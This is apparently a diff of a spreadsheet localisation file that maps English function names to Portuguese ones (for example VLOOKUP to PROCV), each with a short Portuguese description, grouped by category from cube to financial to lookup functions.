Information functions Funções de informação -## -CELL = CÉL ## Devolve informações sobre a formatação, localização ou conteúdo de uma célula -ERROR.TYPE = TIPO.ERRO ## Devolve um número correspondente a um tipo de erro -INFO = INFORMAÇÃO ## Devolve informações sobre o ambiente de funcionamento actual -ISBLANK = É.CÉL.VAZIA ## Devolve VERDADEIRO se o valor estiver em branco -ISERR = É.ERROS ## Devolve VERDADEIRO se o valor for um valor de erro diferente de #N/D -ISERROR = É.ERRO ## Devolve VERDADEIRO se o valor for um valor de erro -ISEVEN = ÉPAR ## Devolve VERDADEIRO se o número for par -ISLOGICAL = É.LÓGICO ## Devolve VERDADEIRO se o valor for lógico -ISNA = É.NÃO.DISP ## Devolve VERDADEIRO se o valor for o valor de erro #N/D -ISNONTEXT = É.NÃO.TEXTO ## Devolve VERDADEIRO se o valor não for texto -ISNUMBER = É.NÚM ## Devolve VERDADEIRO se o valor for um número -ISODD = ÉÍMPAR ## Devolve VERDADEIRO se o número for ímpar -ISREF = É.REF ## Devolve VERDADEIRO se o valor for uma referência -ISTEXT = É.TEXTO ## Devolve VERDADEIRO se o valor for texto -N = N ## Devolve um valor convertido num número -NA = NÃO.DISP ## Devolve o valor de erro #N/D -TYPE = TIPO ## Devolve um número que indica o tipo de dados de um valor - - -## -## Logical functions Funções lógicas -## -AND = E ## Devolve VERDADEIRO se todos os respectivos argumentos corresponderem a VERDADEIRO -FALSE = FALSO ## Devolve o valor lógico FALSO -IF = SE ## Especifica um teste lógico a ser executado -IFERROR = SE.ERRO ## Devolve um valor definido pelo utilizador se ocorrer um erro na fórmula, e devolve o resultado da fórmula se não ocorrer nenhum erro -NOT = NÃO ## Inverte a lógica do respectivo argumento -OR = OU ## Devolve VERDADEIRO se qualquer argumento for VERDADEIRO -TRUE = VERDADEIRO ## Devolve o valor lógico VERDADEIRO - - -## -## Lookup and reference functions Funções de pesquisa e referência -## -ADDRESS = ENDEREÇO ## Devolve uma referência a uma única célula numa folha de cálculo como texto -AREAS = ÁREAS ## Devolve o número de áreas numa referência -CHOOSE = SELECCIONAR ## Selecciona um valor a partir de uma lista de valores -COLUMN = COL ## Devolve o número da coluna de uma referência -COLUMNS = COLS ## Devolve o número de colunas numa referência -HLOOKUP = PROCH ## Procura na linha superior de uma matriz e devolve o valor da célula indicada -HYPERLINK = HIPERLIGAÇÃO ## Cria um atalho ou hiperligação que abre um documento armazenado num servidor de rede, numa intranet ou na Internet -INDEX = ÍNDICE ## Utiliza um índice para escolher um valor de uma referência ou de uma matriz -INDIRECT = INDIRECTO ## Devolve uma referência indicada por um valor de texto -LOOKUP = PROC ## Procura valores num vector ou numa matriz -MATCH = CORRESP ## Procura valores numa referência ou numa matriz -OFFSET = DESLOCAMENTO ## Devolve o deslocamento de referência de uma determinada referência -ROW = LIN ## Devolve o número da linha de uma referência -ROWS = LINS ## Devolve o número de linhas numa referência -RTD = RTD ## Obtém dados em tempo real a partir de um programa que suporte automatização COM (automatização: modo de trabalhar com objectos de uma aplicação a partir de outra aplicação ou ferramenta de desenvolvimento. Anteriormente conhecida como automatização OLE, a automatização é uma norma da indústria de software e uma funcionalidade COM (Component Object Model).) -TRANSPOSE = TRANSPOR ## Devolve a transposição de uma matriz -VLOOKUP = PROCV ## Procura na primeira coluna de uma matriz e percorre a linha para devolver o valor de uma célula - - -## -## Math and trigonometry functions Funções matemáticas e trigonométricas -## -ABS = ABS ## Devolve o valor absoluto de um número -ACOS = ACOS ## Devolve o arco de co-seno de um número -ACOSH = ACOSH ## Devolve o co-seno hiperbólico inverso de um número -ASIN = ASEN ## Devolve o arco de seno de um número -ASINH = ASENH ## Devolve o seno hiperbólico inverso de um número -ATAN = ATAN ## Devolve o arco de tangente de um número -ATAN2 = ATAN2 ## Devolve o arco de tangente das coordenadas x e y -ATANH = ATANH ## Devolve a tangente hiperbólica inversa de um número -CEILING = ARRED.EXCESSO ## Arredonda um número para o número inteiro mais próximo ou para o múltiplo de significância mais próximo -COMBIN = COMBIN ## Devolve o número de combinações de um determinado número de objectos -COS = COS ## Devolve o co-seno de um número -COSH = COSH ## Devolve o co-seno hiperbólico de um número -DEGREES = GRAUS ## Converte radianos em graus -EVEN = PAR ## Arredonda um número por excesso para o número inteiro mais próximo -EXP = EXP ## Devolve e elevado à potência de um determinado número -FACT = FACTORIAL ## Devolve o factorial de um número -FACTDOUBLE = FACTDUPLO ## Devolve o factorial duplo de um número -FLOOR = ARRED.DEFEITO ## Arredonda um número por defeito até zero -GCD = MDC ## Devolve o maior divisor comum -INT = INT ## Arredonda um número por defeito para o número inteiro mais próximo -LCM = MMC ## Devolve o mínimo múltiplo comum -LN = LN ## Devolve o logaritmo natural de um número -LOG = LOG ## Devolve o logaritmo de um número com uma base especificada -LOG10 = LOG10 ## Devolve o logaritmo de base 10 de um número -MDETERM = MATRIZ.DETERM ## Devolve o determinante matricial de uma matriz -MINVERSE = MATRIZ.INVERSA ## Devolve o inverso matricial de uma matriz -MMULT = MATRIZ.MULT ## Devolve o produto matricial de duas matrizes -MOD = RESTO ## Devolve o resto da divisão -MROUND = MARRED ## Devolve um número arredondado para o múltiplo pretendido -MULTINOMIAL = POLINOMIAL ## Devolve o polinomial de um conjunto de números -ODD = ÍMPAR ## Arredonda por excesso um número para o número inteiro ímpar mais próximo -PI = PI ## Devolve o valor de pi -POWER = POTÊNCIA ## Devolve o resultado de um número elevado a uma potência -PRODUCT = PRODUTO ## Multiplica os respectivos argumentos -QUOTIENT = QUOCIENTE ## Devolve a parte inteira de uma divisão -RADIANS = RADIANOS ## Converte graus em radianos -RAND = ALEATÓRIO ## Devolve um número aleatório entre 0 e 1 -RANDBETWEEN = ALEATÓRIOENTRE ## Devolve um número aleatório entre os números especificados -ROMAN = ROMANO ## Converte um número árabe em romano, como texto -ROUND = ARRED ## Arredonda um número para um número de dígitos especificado -ROUNDDOWN = ARRED.PARA.BAIXO ## Arredonda um número por defeito até zero -ROUNDUP = ARRED.PARA.CIMA ## Arredonda um número por excesso, afastando-o de zero -SERIESSUM = SOMASÉRIE ## Devolve a soma de uma série de potências baseada na fórmula -SIGN = SINAL ## Devolve o sinal de um número -SIN = SEN ## Devolve o seno de um determinado ângulo -SINH = SENH ## Devolve o seno hiperbólico de um número -SQRT = RAIZQ ## Devolve uma raiz quadrada positiva -SQRTPI = RAIZPI ## Devolve a raiz quadrada de (núm * pi) -SUBTOTAL = SUBTOTAL ## Devolve um subtotal numa lista ou base de dados -SUM = SOMA ## Adiciona os respectivos argumentos -SUMIF = SOMA.SE ## Adiciona as células especificadas por um determinado critério -SUMIFS = SOMA.SE.S ## Adiciona as células num intervalo que cumpre vários critérios -SUMPRODUCT = SOMARPRODUTO ## Devolve a soma dos produtos de componentes de matrizes correspondentes -SUMSQ = SOMARQUAD ## Devolve a soma dos quadrados dos argumentos -SUMX2MY2 = SOMAX2DY2 ## Devolve a soma da diferença dos quadrados dos valores correspondentes em duas matrizes -SUMX2PY2 = SOMAX2SY2 ## Devolve a soma da soma dos quadrados dos valores correspondentes em duas matrizes -SUMXMY2 = SOMAXMY2 ## Devolve a soma dos quadrados da diferença dos valores correspondentes em duas matrizes -TAN = TAN ## Devolve a tangente de um número -TANH = TANH ## Devolve a tangente hiperbólica de um número -TRUNC = TRUNCAR ## Trunca um número para um número inteiro - - -## -## Statistical functions Funções estatísticas -## -AVEDEV = DESV.MÉDIO ## Devolve a média aritmética dos desvios absolutos à média dos pontos de dados -AVERAGE = MÉDIA ## Devolve a média dos respectivos argumentos -AVERAGEA = MÉDIAA ## Devolve uma média dos respectivos argumentos, incluindo números, texto e valores lógicos -AVERAGEIF = MÉDIA.SE ## Devolve a média aritmética de todas as células num intervalo que cumprem determinado critério -AVERAGEIFS = MÉDIA.SE.S ## Devolve a média aritmética de todas as células que cumprem múltiplos critérios -BETADIST = DISTBETA ## Devolve a função de distribuição cumulativa beta -BETAINV = BETA.ACUM.INV ## Devolve o inverso da função de distribuição cumulativa relativamente a uma distribuição beta específica -BINOMDIST = DISTRBINOM ## Devolve a probabilidade de distribuição binomial de termo individual -CHIDIST = DIST.CHI ## Devolve a probabilidade unicaudal da distribuição qui-quadrada -CHIINV = INV.CHI ## Devolve o inverso da probabilidade unicaudal da distribuição qui-quadrada -CHITEST = TESTE.CHI ## Devolve o teste para independência -CONFIDENCE = INT.CONFIANÇA ## Devolve o intervalo de confiança correspondente a uma média de população -CORREL = CORREL ## Devolve o coeficiente de correlação entre dois conjuntos de dados -COUNT = CONTAR ## Conta os números que existem na lista de argumentos -COUNTA = CONTAR.VAL ## Conta os valores que existem na lista de argumentos -COUNTBLANK = CONTAR.VAZIO ## Conta o número de células em branco num intervalo -COUNTIF = CONTAR.SE ## Calcula o número de células num intervalo que corresponde aos critérios determinados -COUNTIFS = CONTAR.SE.S ## Conta o número de células num intervalo que cumprem múltiplos critérios -COVAR = COVAR ## Devolve a covariância, que é a média dos produtos de desvios de pares -CRITBINOM = CRIT.BINOM ## Devolve o menor valor em que a distribuição binomial cumulativa é inferior ou igual a um valor de critério -DEVSQ = DESVQ ## Devolve a soma dos quadrados dos desvios -EXPONDIST = DISTEXPON ## Devolve a distribuição exponencial -FDIST = DISTF ## Devolve a distribuição da probabilidade F -FINV = INVF ## Devolve o inverso da distribuição da probabilidade F -FISHER = FISHER ## Devolve a transformação Fisher -FISHERINV = FISHERINV ## Devolve o inverso da transformação Fisher -FORECAST = PREVISÃO ## Devolve um valor ao longo de uma tendência linear -FREQUENCY = FREQUÊNCIA ## Devolve uma distribuição de frequência como uma matriz vertical -FTEST = TESTEF ## Devolve o resultado de um teste F -GAMMADIST = DISTGAMA ## Devolve a distribuição gama -GAMMAINV = INVGAMA ## Devolve o inverso da distribuição gama cumulativa -GAMMALN = LNGAMA ## Devolve o logaritmo natural da função gama, Γ(x) -GEOMEAN = MÉDIA.GEOMÉTRICA ## Devolve a média geométrica -GROWTH = CRESCIMENTO ## Devolve valores ao longo de uma tendência exponencial -HARMEAN = MÉDIA.HARMÓNICA ## Devolve a média harmónica -HYPGEOMDIST = DIST.HIPERGEOM ## Devolve a distribuição hipergeométrica -INTERCEPT = INTERCEPTAR ## Devolve a intercepção da linha de regressão linear -KURT = CURT ## Devolve a curtose de um conjunto de dados -LARGE = MAIOR ## Devolve o maior valor k-ésimo de um conjunto de dados -LINEST = PROJ.LIN ## Devolve os parâmetros de uma tendência linear -LOGEST = PROJ.LOG ## Devolve os parâmetros de uma tendência exponencial -LOGINV = INVLOG ## Devolve o inverso da distribuição normal logarítmica -LOGNORMDIST = DIST.NORMALLOG ## Devolve a distribuição normal logarítmica cumulativa -MAX = MÁXIMO ## Devolve o valor máximo numa lista de argumentos -MAXA = MÁXIMOA ## Devolve o valor máximo numa lista de argumentos, incluindo números, texto e valores lógicos -MEDIAN = MED ## Devolve a mediana dos números indicados -MIN = MÍNIMO ## Devolve o valor mínimo numa lista de argumentos -MINA = MÍNIMOA ## Devolve o valor mínimo numa lista de argumentos, incluindo números, texto e valores lógicos -MODE = MODA ## Devolve o valor mais comum num conjunto de dados -NEGBINOMDIST = DIST.BIN.NEG ## Devolve a distribuição binominal negativa -NORMDIST = DIST.NORM ## Devolve a distribuição cumulativa normal -NORMINV = INV.NORM ## Devolve o inverso da distribuição cumulativa normal -NORMSDIST = DIST.NORMP ## Devolve a distribuição cumulativa normal padrão -NORMSINV = INV.NORMP ## Devolve o inverso da distribuição cumulativa normal padrão -PEARSON = PEARSON ## Devolve o coeficiente de correlação momento/produto de Pearson -PERCENTILE = PERCENTIL ## Devolve o k-ésimo percentil de valores num intervalo -PERCENTRANK = ORDEM.PERCENTUAL ## Devolve a ordem percentual de um valor num conjunto de dados -PERMUT = PERMUTAR ## Devolve o número de permutações de um determinado número de objectos -POISSON = POISSON ## Devolve a distribuição de Poisson -PROB = PROB ## Devolve a probabilidade dos valores num intervalo se encontrarem entre dois limites -QUARTILE = QUARTIL ## Devolve o quartil de um conjunto de dados -RANK = ORDEM ## Devolve a ordem de um número numa lista numérica -RSQ = RQUAD ## Devolve o quadrado do coeficiente de correlação momento/produto de Pearson -SKEW = DISTORÇÃO ## Devolve a distorção de uma distribuição -SLOPE = DECLIVE ## Devolve o declive da linha de regressão linear -SMALL = MENOR ## Devolve o menor valor de k-ésimo de um conjunto de dados -STANDARDIZE = NORMALIZAR ## Devolve um valor normalizado -STDEV = DESVPAD ## Calcula o desvio-padrão com base numa amostra -STDEVA = DESVPADA ## Calcula o desvio-padrão com base numa amostra, incluindo números, texto e valores lógicos -STDEVP = DESVPADP ## Calcula o desvio-padrão com base na população total -STDEVPA = DESVPADPA ## Calcula o desvio-padrão com base na população total, incluindo números, texto e valores lógicos -STEYX = EPADYX ## Devolve o erro-padrão do valor de y previsto para cada x na regressão -TDIST = DISTT ## Devolve a distribuição t de Student -TINV = INVT ## Devolve o inverso da distribuição t de Student -TREND = TENDÊNCIA ## Devolve valores ao longo de uma tendência linear -TRIMMEAN = MÉDIA.INTERNA ## Devolve a média do interior de um conjunto de dados -TTEST = TESTET ## Devolve a probabilidade associada ao teste t de Student -VAR = VAR ## Calcula a variância com base numa amostra -VARA = VARA ## Calcula a variância com base numa amostra, incluindo números, texto e valores lógicos -VARP = VARP ## Calcula a variância com base na população total -VARPA = VARPA ## Calcula a variância com base na população total, incluindo números, texto e valores lógicos -WEIBULL = WEIBULL ## Devolve a distribuição Weibull -ZTEST = TESTEZ ## Devolve o valor de probabilidade unicaudal de um teste-z - - -## -## Text functions Funções de texto -## -ASC = ASC ## Altera letras ou katakana de largura total (byte duplo) numa cadeia de caracteres para caracteres de largura média (byte único) -BAHTTEXT = TEXTO.BAHT ## Converte um número em texto, utilizando o formato monetário ß (baht) -CHAR = CARÁCT ## Devolve o carácter especificado pelo número de código -CLEAN = LIMPAR ## Remove do texto todos os caracteres não imprimíveis -CODE = CÓDIGO ## Devolve um código numérico correspondente ao primeiro carácter numa cadeia de texto -CONCATENATE = CONCATENAR ## Agrupa vários itens de texto num único item de texto -DOLLAR = MOEDA ## Converte um número em texto, utilizando o formato monetário € (Euro) -EXACT = EXACTO ## Verifica se dois valores de texto são idênticos -FIND = LOCALIZAR ## Localiza um valor de texto dentro de outro (sensível às maiúsculas e minúsculas) -FINDB = LOCALIZARB ## Localiza um valor de texto dentro de outro (sensível às maiúsculas e minúsculas) -FIXED = FIXA ## Formata um número como texto com um número fixo de decimais -JIS = JIS ## Altera letras ou katakana de largura média (byte único) numa cadeia de caracteres para caracteres de largura total (byte duplo) -LEFT = ESQUERDA ## Devolve os caracteres mais à esquerda de um valor de texto -LEFTB = ESQUERDAB ## Devolve os caracteres mais à esquerda de um valor de texto -LEN = NÚM.CARACT ## Devolve o número de caracteres de uma cadeia de texto -LENB = NÚM.CARACTB ## Devolve o número de caracteres de uma cadeia de texto -LOWER = MINÚSCULAS ## Converte o texto em minúsculas -MID = SEG.TEXTO ## Devolve um número específico de caracteres de uma cadeia de texto, a partir da posição especificada -MIDB = SEG.TEXTOB ## Devolve um número específico de caracteres de uma cadeia de texto, a partir da posição especificada -PHONETIC = FONÉTICA ## Retira os caracteres fonéticos (furigana) de uma cadeia de texto -PROPER = INICIAL.MAIÚSCULA ## Coloca em maiúsculas a primeira letra de cada palavra de um valor de texto -REPLACE = SUBSTITUIR ## Substitui caracteres no texto -REPLACEB = SUBSTITUIRB ## Substitui caracteres no texto -REPT = REPETIR ## Repete texto um determinado número de vezes -RIGHT = DIREITA ## Devolve os caracteres mais à direita de um valor de texto -RIGHTB = DIREITAB ## Devolve os caracteres mais à direita de um valor de texto -SEARCH = PROCURAR ## Localiza um valor de texto dentro de outro (não sensível a maiúsculas e minúsculas) -SEARCHB = PROCURARB ## Localiza um valor de texto dentro de outro (não sensível a maiúsculas e minúsculas) -SUBSTITUTE = SUBST ## Substitui texto novo por texto antigo numa cadeia de texto -T = T ## Converte os respectivos argumentos em texto -TEXT = TEXTO ## Formata um número e converte-o em texto -TRIM = COMPACTAR ## Remove espaços do texto -UPPER = MAIÚSCULAS ## Converte texto em maiúsculas -VALUE = VALOR ## Converte um argumento de texto num número +## +## Add-in and Automation functions Funções de Suplemento e Automatização +## +GETPIVOTDATA = OBTERDADOSDIN ## Devolve dados armazenados num relatório de Tabela Dinâmica + + +## +## Cube functions Funções de cubo +## +CUBEKPIMEMBER = MEMBROKPICUBO ## Devolve o nome, propriedade e medição de um KPI (key performance indicator) e apresenta o nome e a propriedade na célula. Um KPI é uma medida quantificável, como, por exemplo, o lucro mensal bruto ou a rotatividade trimestral de pessoal, utilizada para monitorizar o desempenho de uma organização. +CUBEMEMBER = MEMBROCUBO ## Devolve um membro ou cadeia de identificação numa hierarquia de cubo. Utilizada para validar a existência do membro ou cadeia de identificação no cubo. +CUBEMEMBERPROPERTY = PROPRIEDADEMEMBROCUBO ## Devolve o valor de uma propriedade de membro no cubo. Utilizada para validar a existência de um nome de membro no cubo e para devolver a propriedade especificada para esse membro. +CUBERANKEDMEMBER = MEMBROCLASSIFICADOCUBO ## Devolve o enésimo ou a classificação mais alta num conjunto. Utilizada para devolver um ou mais elementos num conjunto, tal como o melhor vendedor ou os 10 melhores alunos. +CUBESET = CONJUNTOCUBO ## Define um conjunto calculado de membros ou cadeias de identificação enviando uma expressão de conjunto para o cubo no servidor, que cria o conjunto e, em seguida, devolve o conjunto ao Microsoft Office Excel. +CUBESETCOUNT = CONTARCONJUNTOCUBO ## Devolve o número de itens num conjunto. +CUBEVALUE = VALORCUBO ## Devolve um valor agregado do cubo. + + +## +## Database functions Funções de base de dados +## +DAVERAGE = BDMÉDIA ## Devolve a média das entradas da base de dados seleccionadas +DCOUNT = BDCONTAR ## Conta as células que contêm números numa base de dados +DCOUNTA = BDCONTAR.VAL ## Conta as células que não estejam em branco numa base de dados +DGET = BDOBTER ## Extrai de uma base de dados um único registo que corresponde aos critérios especificados +DMAX = BDMÁX ## Devolve o valor máximo das entradas da base de dados seleccionadas +DMIN = BDMÍN ## Devolve o valor mínimo das entradas da base de dados seleccionadas +DPRODUCT = BDMULTIPL ## Multiplica os valores de um determinado campo de registos que correspondem aos critérios numa base de dados +DSTDEV = BDDESVPAD ## Calcula o desvio-padrão com base numa amostra de entradas da base de dados seleccionadas +DSTDEVP = BDDESVPADP ## Calcula o desvio-padrão com base na população total das entradas da base de dados seleccionadas +DSUM = BDSOMA ## Adiciona os números na coluna de campo dos registos de base de dados que correspondem aos critérios +DVAR = BDVAR ## Calcula a variância com base numa amostra das entradas de base de dados seleccionadas +DVARP = BDVARP ## Calcula a variância com base na população total das entradas de base de dados seleccionadas + + +## +## Date and time functions Funções de data e hora +## +DATE = DATA ## Devolve o número de série de uma determinada data +DATEVALUE = DATA.VALOR ## Converte uma data em forma de texto num número de série +DAY = DIA ## Converte um número de série num dia do mês +DAYS360 = DIAS360 ## Calcula o número de dias entre duas datas com base num ano com 360 dias +EDATE = DATAM ## Devolve um número de série de data que corresponde ao número de meses indicado antes ou depois da data de início +EOMONTH = FIMMÊS ## Devolve o número de série do último dia do mês antes ou depois de um número de meses especificado +HOUR = HORA ## Converte um número de série numa hora +MINUTE = MINUTO ## Converte um número de série num minuto +MONTH = MÊS ## Converte um número de série num mês +NETWORKDAYS = DIATRABALHOTOTAL ## Devolve o número total de dias úteis entre duas datas +NOW = AGORA ## Devolve o número de série da data e hora actuais +SECOND = SEGUNDO ## Converte um número de série num segundo +TIME = TEMPO ## Devolve o número de série de um determinado tempo +TIMEVALUE = VALOR.TEMPO ## Converte um tempo em forma de texto num número de série +TODAY = HOJE ## Devolve o número de série da data actual +WEEKDAY = DIA.SEMANA ## Converte um número de série num dia da semana +WEEKNUM = NÚMSEMANA ## Converte um número de série num número que representa o número da semana num determinado ano +WORKDAY = DIA.TRABALHO ## Devolve o número de série da data antes ou depois de um número de dias úteis especificado +YEAR = ANO ## Converte um número de série num ano +YEARFRAC = FRACÇÃOANO ## Devolve a fracção de ano que representa o número de dias inteiros entre a data_de_início e a data_de_fim + + +## +## Engineering functions Funções de engenharia +## +BESSELI = BESSELI ## Devolve a função de Bessel modificada In(x) +BESSELJ = BESSELJ ## Devolve a função de Bessel Jn(x) +BESSELK = BESSELK ## Devolve a função de Bessel modificada Kn(x) +BESSELY = BESSELY ## Devolve a função de Bessel Yn(x) +BIN2DEC = BINADEC ## Converte um número binário em decimal +BIN2HEX = BINAHEX ## Converte um número binário em hexadecimal +BIN2OCT = BINAOCT ## Converte um número binário em octal +COMPLEX = COMPLEXO ## Converte coeficientes reais e imaginários num número complexo +CONVERT = CONVERTER ## Converte um número de um sistema de medida noutro +DEC2BIN = DECABIN ## Converte um número decimal em binário +DEC2HEX = DECAHEX ## Converte um número decimal em hexadecimal +DEC2OCT = DECAOCT ## Converte um número decimal em octal +DELTA = DELTA ## Testa se dois valores são iguais +ERF = FUNCERRO ## Devolve a função de erro +ERFC = FUNCERROCOMPL ## Devolve a função de erro complementar +GESTEP = DEGRAU ## Testa se um número é maior do que um valor limite +HEX2BIN = HEXABIN ## Converte um número hexadecimal em binário +HEX2DEC = HEXADEC ## Converte um número hexadecimal em decimal +HEX2OCT = HEXAOCT ## Converte um número hexadecimal em octal +IMABS = IMABS ## Devolve o valor absoluto (módulo) de um número complexo +IMAGINARY = IMAGINÁRIO ## Devolve o coeficiente imaginário de um número complexo +IMARGUMENT = IMARG ## Devolve o argumento Teta, um ângulo expresso em radianos +IMCONJUGATE = IMCONJ ## Devolve o conjugado complexo de um número complexo +IMCOS = IMCOS ## Devolve o co-seno de um número complexo +IMDIV = IMDIV ## Devolve o quociente de dois números complexos +IMEXP = IMEXP ## Devolve o exponencial de um número complexo +IMLN = IMLN ## Devolve o logaritmo natural de um número complexo +IMLOG10 = IMLOG10 ## Devolve o logaritmo de base 10 de um número complexo +IMLOG2 = IMLOG2 ## Devolve o logaritmo de base 2 de um número complexo +IMPOWER = IMPOT ## Devolve um número complexo elevado a uma potência inteira +IMPRODUCT = IMPROD ## Devolve o produto de números complexos +IMREAL = IMREAL ## Devolve o coeficiente real de um número complexo +IMSIN = IMSENO ## Devolve o seno de um número complexo +IMSQRT = IMRAIZ ## Devolve a raiz quadrada de um número complexo +IMSUB = IMSUBTR ## Devolve a diferença entre dois números complexos +IMSUM = IMSOMA ## Devolve a soma de números complexos +OCT2BIN = OCTABIN ## Converte um número octal em binário +OCT2DEC = OCTADEC ## Converte um número octal em decimal +OCT2HEX = OCTAHEX ## Converte um número octal em hexadecimal + + +## +## Financial functions Funções financeiras +## +ACCRINT = JUROSACUM ## Devolve os juros acumulados de um título que paga juros periódicos +ACCRINTM = JUROSACUMV ## Devolve os juros acumulados de um título que paga juros no vencimento +AMORDEGRC = AMORDEGRC ## Devolve a depreciação correspondente a cada período contabilístico utilizando um coeficiente de depreciação +AMORLINC = AMORLINC ## Devolve a depreciação correspondente a cada período contabilístico +COUPDAYBS = CUPDIASINLIQ ## Devolve o número de dias entre o início do período do cupão e a data de regularização +COUPDAYS = CUPDIAS ## Devolve o número de dias no período do cupão que contém a data de regularização +COUPDAYSNC = CUPDIASPRÓX ## Devolve o número de dias entre a data de regularização e a data do cupão seguinte +COUPNCD = CUPDATAPRÓX ## Devolve a data do cupão seguinte após a data de regularização +COUPNUM = CUPNÚM ## Devolve o número de cupões a serem pagos entre a data de regularização e a data de vencimento +COUPPCD = CUPDATAANT ## Devolve a data do cupão anterior antes da data de regularização +CUMIPMT = PGTOJURACUM ## Devolve os juros cumulativos pagos entre dois períodos +CUMPRINC = PGTOCAPACUM ## Devolve o capital cumulativo pago a título de empréstimo entre dois períodos +DB = BD ## Devolve a depreciação de um activo relativo a um período especificado utilizando o método das quotas degressivas fixas +DDB = BDD ## Devolve a depreciação de um activo relativo a um período especificado utilizando o método das quotas degressivas duplas ou qualquer outro método especificado +DISC = DESC ## Devolve a taxa de desconto de um título +DOLLARDE = MOEDADEC ## Converte um preço em unidade monetária, expresso como uma fracção, num preço em unidade monetária, expresso como um número decimal +DOLLARFR = MOEDAFRA ## Converte um preço em unidade monetária, expresso como um número decimal, num preço em unidade monetária, expresso como uma fracção +DURATION = DURAÇÃO ## Devolve a duração anual de um título com pagamentos de juros periódicos +EFFECT = EFECTIVA ## Devolve a taxa de juros anual efectiva +FV = VF ## Devolve o valor futuro de um investimento +FVSCHEDULE = VFPLANO ## Devolve o valor futuro de um capital inicial após a aplicação de uma série de taxas de juro compostas +INTRATE = TAXAJUROS ## Devolve a taxa de juros de um título investido na totalidade +IPMT = IPGTO ## Devolve o pagamento dos juros de um investimento durante um determinado período +IRR = TIR ## Devolve a taxa de rentabilidade interna para uma série de fluxos monetários +ISPMT = É.PGTO ## Calcula os juros pagos durante um período específico de um investimento +MDURATION = MDURAÇÃO ## Devolve a duração modificada de Macauley de um título com um valor de paridade equivalente a € 100 +MIRR = MTIR ## Devolve a taxa interna de rentabilidade em que os fluxos monetários positivos e negativos são financiados com taxas diferentes +NOMINAL = NOMINAL ## Devolve a taxa de juros nominal anual +NPER = NPER ## Devolve o número de períodos de um investimento +NPV = VAL ## Devolve o valor actual líquido de um investimento com base numa série de fluxos monetários periódicos e numa taxa de desconto +ODDFPRICE = PREÇOPRIMINC ## Devolve o preço por € 100 do valor nominal de um título com um período inicial incompleto +ODDFYIELD = LUCROPRIMINC ## Devolve o lucro de um título com um período inicial incompleto +ODDLPRICE = PREÇOÚLTINC ## Devolve o preço por € 100 do valor nominal de um título com um período final incompleto +ODDLYIELD = LUCROÚLTINC ## Devolve o lucro de um título com um período final incompleto +PMT = PGTO ## Devolve o pagamento periódico de uma anuidade +PPMT = PPGTO ## Devolve o pagamento sobre o capital de um investimento num determinado período +PRICE = PREÇO ## Devolve o preço por € 100 do valor nominal de um título que paga juros periódicos +PRICEDISC = PREÇODESC ## Devolve o preço por € 100 do valor nominal de um título descontado +PRICEMAT = PREÇOVENC ## Devolve o preço por € 100 do valor nominal de um título que paga juros no vencimento +PV = VA ## Devolve o valor actual de um investimento +RATE = TAXA ## Devolve a taxa de juros por período de uma anuidade +RECEIVED = RECEBER ## Devolve o montante recebido no vencimento de um título investido na totalidade +SLN = AMORT ## Devolve uma depreciação linear de um activo durante um período +SYD = AMORTD ## Devolve a depreciação por algarismos da soma dos anos de um activo durante um período especificado +TBILLEQ = OTN ## Devolve o lucro de um título equivalente a uma Obrigação do Tesouro +TBILLPRICE = OTNVALOR ## Devolve o preço por € 100 de valor nominal de uma Obrigação do Tesouro +TBILLYIELD = OTNLUCRO ## Devolve o lucro de uma Obrigação do Tesouro +VDB = BDV ## Devolve a depreciação de um activo relativo a um período específico ou parcial utilizando um método de quotas degressivas +XIRR = XTIR ## Devolve a taxa interna de rentabilidade de um plano de fluxos monetários que não seja necessariamente periódica +XNPV = XVAL ## Devolve o valor actual líquido de um plano de fluxos monetários que não seja necessariamente periódico +YIELD = LUCRO ## Devolve o lucro de um título que paga juros periódicos +YIELDDISC = LUCRODESC ## Devolve o lucro anual de um título emitido abaixo do valor nominal, por exemplo, uma Obrigação do Tesouro +YIELDMAT = LUCROVENC ## Devolve o lucro anual de um título que paga juros na data de vencimento + + +## +## Information functions Funções de informação +## +CELL = CÉL ## Devolve informações sobre a formatação, localização ou conteúdo de uma célula +ERROR.TYPE = TIPO.ERRO ## Devolve um número correspondente a um tipo de erro +INFO = INFORMAÇÃO ## Devolve informações sobre o ambiente de funcionamento actual +ISBLANK = É.CÉL.VAZIA ## Devolve VERDADEIRO se o valor estiver em branco +ISERR = É.ERROS ## Devolve VERDADEIRO se o valor for um valor de erro diferente de #N/D +ISERROR = É.ERRO ## Devolve VERDADEIRO se o valor for um valor de erro +ISEVEN = ÉPAR ## Devolve VERDADEIRO se o número for par +ISLOGICAL = É.LÓGICO ## Devolve VERDADEIRO se o valor for lógico +ISNA = É.NÃO.DISP ## Devolve VERDADEIRO se o valor for o valor de erro #N/D +ISNONTEXT = É.NÃO.TEXTO ## Devolve VERDADEIRO se o valor não for texto +ISNUMBER = É.NÚM ## Devolve VERDADEIRO se o valor for um número +ISODD = ÉÍMPAR ## Devolve VERDADEIRO se o número for ímpar +ISREF = É.REF ## Devolve VERDADEIRO se o valor for uma referência +ISTEXT = É.TEXTO ## Devolve VERDADEIRO se o valor for texto +N = N ## Devolve um valor convertido num número +NA = NÃO.DISP ## Devolve o valor de erro #N/D +TYPE = TIPO ## Devolve um número que indica o tipo de dados de um valor + + +## +## Logical functions Funções lógicas +## +AND = E ## Devolve VERDADEIRO se todos os respectivos argumentos corresponderem a VERDADEIRO +FALSE = FALSO ## Devolve o valor lógico FALSO +IF = SE ## Especifica um teste lógico a ser executado +IFERROR = SE.ERRO ## Devolve um valor definido pelo utilizador se ocorrer um erro na fórmula, e devolve o resultado da fórmula se não ocorrer nenhum erro +NOT = NÃO ## Inverte a lógica do respectivo argumento +OR = OU ## Devolve VERDADEIRO se qualquer argumento for VERDADEIRO +TRUE = VERDADEIRO ## Devolve o valor lógico VERDADEIRO + + +## +## Lookup and reference functions Funções de pesquisa e referência +## +ADDRESS = ENDEREÇO ## Devolve uma referência a uma única célula numa folha de cálculo como texto +AREAS = ÁREAS ## Devolve o número de áreas numa referência +CHOOSE = SELECCIONAR ## Selecciona um valor a partir de uma lista de valores +COLUMN = COL ## Devolve o número da coluna de uma referência +COLUMNS = COLS ## Devolve o número de colunas numa referência +HLOOKUP = PROCH ## Procura na linha superior de uma matriz e devolve o valor da célula indicada +HYPERLINK = HIPERLIGAÇÃO ## Cria um atalho ou hiperligação que abre um documento armazenado num servidor de rede, numa intranet ou na Internet +INDEX = ÍNDICE ## Utiliza um índice para escolher um valor de uma referência ou de uma matriz +INDIRECT = INDIRECTO ## Devolve uma referência indicada por um valor de texto +LOOKUP = PROC ## Procura valores num vector ou numa matriz +MATCH = CORRESP ## Procura valores numa 